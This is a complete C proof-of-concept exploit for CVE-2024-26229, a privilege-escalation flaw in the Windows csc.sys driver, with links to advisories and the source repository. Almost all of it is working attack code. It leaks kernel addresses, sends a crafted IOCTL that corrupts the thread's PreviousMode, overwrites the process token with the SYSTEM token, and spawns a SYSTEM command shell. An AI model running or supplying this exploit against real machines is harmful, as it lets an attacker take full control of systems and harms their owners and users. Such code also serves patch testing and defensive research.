Microsoft Windows CSC Service Elevation of Privilege Vulnerability Exploit
https://www.coresecurity.com/core-labs/exploits
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-26229
https://www.cve.org/CVERecord?id=CVE-2024-26229
https://github.com/varwara/CVE-2024-26229/blob/main/CVE-2024-26229.c
/*
PoC Info
-------------------------------------------
Vulnerability: CVE-2024-26229
Environment: Windows 11 22h2 Build 22621
-------------------------------------------
*/
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#include <stdint.h>
// I use ntdllp.lib private library from WDK to avoid GetProcAddress for Nt* functions
#pragma comment(lib, "ntdllp.lib")
#define STATUS_SUCCESS 0
#define NtCurrentProcess() ((HANDLE)(LONG_PTR)-1)
#define EPROCESS_TOKEN_OFFSET 0x4B8
#define KTHREAD_PREVIOUS_MODE_OFFSET 0x232
#define CSC_DEV_FCB_XXX_CONTROL_FILE 0x001401a3 // vuln ioctl
#define SystemHandleInformation 0x10
#define SystemHandleInformationSize 0x400000
enum _MODE
{
KernelMode = 0,
UserMode = 1
};
typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
{
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
typedef struct _SYSTEM_HANDLE_INFORMATION
{
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
//
// Get the kernel object pointer for the specific process by it's handle
//
int32_t GetObjPtr(_Out_ PULONG64 ppObjAddr, _In_ ULONG ulPid, _In_ HANDLE handle)
{
int32_t Ret = -1;
PSYSTEM_HANDLE_INFORMATION pHandleInfo = 0;
ULONG ulBytes = 0;
NTSTATUS Status = STATUS_SUCCESS;
//
// Handle heap allocations to overcome STATUS_INFO_LENGTH_MISMATCH
//
while ((Status = NtQuerySystemInformation((SYSTEM_INFORMATION_CLASS)SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == 0xC0000004L)
{
if (pHandleInfo != NULL)
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, (size_t)2 * ulBytes);
}
else
{
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size_t)2 * ulBytes);
}
}
if (Status != NULL)
{
Ret = Status;
goto done;
}
for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == (unsigned short)handle))
{
*ppObjAddr = (unsigned long long)pHandleInfo->Handles[i].Object;
Ret = 0;
break;
}
}
done:
if (pHandleInfo != NULL)
{
HeapFree(GetProcessHeap, 0, pHandleInfo);
}
return Ret;
}
//
// A wrapper to make arbitrary writes to the whole system memory address space
//
NTSTATUS Write64(_In_ uintptr_t *Dst, _In_ uintptr_t *Src, _In_ size_t Size)
{
NTSTATUS Status = 0;
size_t cbNumOfBytesWrite = 0;
Status = NtWriteVirtualMemory(GetCurrentProcess(), Dst, Src, Size, &cbNumOfBytesWrite);
if (!NT_SUCCESS(Status))
{
return -1;
}
return Status;
}
//
//
//
NTSTATUS Exploit()
{
UNICODE_STRING objectName = { 0 };
OBJECT_ATTRIBUTES objectAttr = { 0 };
IO_STATUS_BLOCK iosb = { 0 };
HANDLE handle;
NTSTATUS status = 0;
//
// Initialize kernel objects to leak
//
uintptr_t Sysproc = 0;
uintptr_t Curproc = 0;
uintptr_t Curthread = 0;
uintptr_t Token = 0;
HANDLE hCurproc = 0;
HANDLE hThread = 0;
uint32_t Ret = 0;
uint8_t mode = UserMode;
RtlInitUnicodeString(&objectName, L"\\Device\\Mup\\;Csc\\.\\.");
InitializeObjectAttributes(&objectAttr, &objectName, 0, NULL, NULL);
status = NtCreateFile(&handle, SYNCHRONIZE, &objectAttr, &iosb, NULL, FILE_ATTRIBUTE_NORMAL, 0, FILE_OPEN_IF, FILE_CREATE_TREE_CONNECTION, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtCreateFile failed with status = %x\n", status);
return status;
}
//
// Leak System _EPROCESS kernel address
//
Ret = GetObjPtr(&Sysproc, 4, 4);
if (Ret != NULL)
{
return Ret;
}
printf("[+] System EPROCESS address = %llx\n", Sysproc);
//
// Leak current _KTHREAD kernel address
//
hThread = OpenThread(THREAD_QUERY_INFORMATION, TRUE, GetCurrentThreadId());
if (hThread != NULL)
{
Ret = GetObjPtr(&Curthread, GetCurrentProcessId(), hThread);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current THREAD address = %llx\n", Curthread);
}
//
// Leak current _EPROCESS kernel address
//
hCurproc = OpenProcess(PROCESS_QUERY_INFORMATION, TRUE, GetCurrentProcessId());
if (hCurproc != NULL)
{
Ret = GetObjPtr(&Curproc, GetCurrentProcessId(), hCurproc);
if (Ret != NULL)
{
return Ret;
}
printf("[+] Current EPROCESS address = %llx\n", Curproc);
}
//
// Sending the payload to the csc.sys driver to trigger the bug
//
status = NtFsControlFile(handle, NULL, NULL, NULL, &iosb, CSC_DEV_FCB_XXX_CONTROL_FILE, /*Vuln arg*/ (void*)(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET - 0x18), 0, NULL, 0);
if (!NT_SUCCESS(status))
{
printf("[-] NtFsControlFile failed with status = %x\n", status);
return status;
}
printf("[!] Leveraging DKOM to achieve LPE\n");
printf("[!] Calling Write64 wrapper to overwrite current EPROCESS->Token\n");
Write64(Curproc + EPROCESS_TOKEN_OFFSET, Sysproc + EPROCESS_TOKEN_OFFSET, 0x8);
//
// Restoring KTHREAD->PreviousMode
//
Write64(Curthread + KTHREAD_PREVIOUS_MODE_OFFSET, &mode, 0x1);
//
// spawn the shell with "nt authority\system"
//
system("cmd.exe");
return STATUS_SUCCESS;
}
int main()
{
NTSTATUS status = 0;
status = Exploit();
return status;
}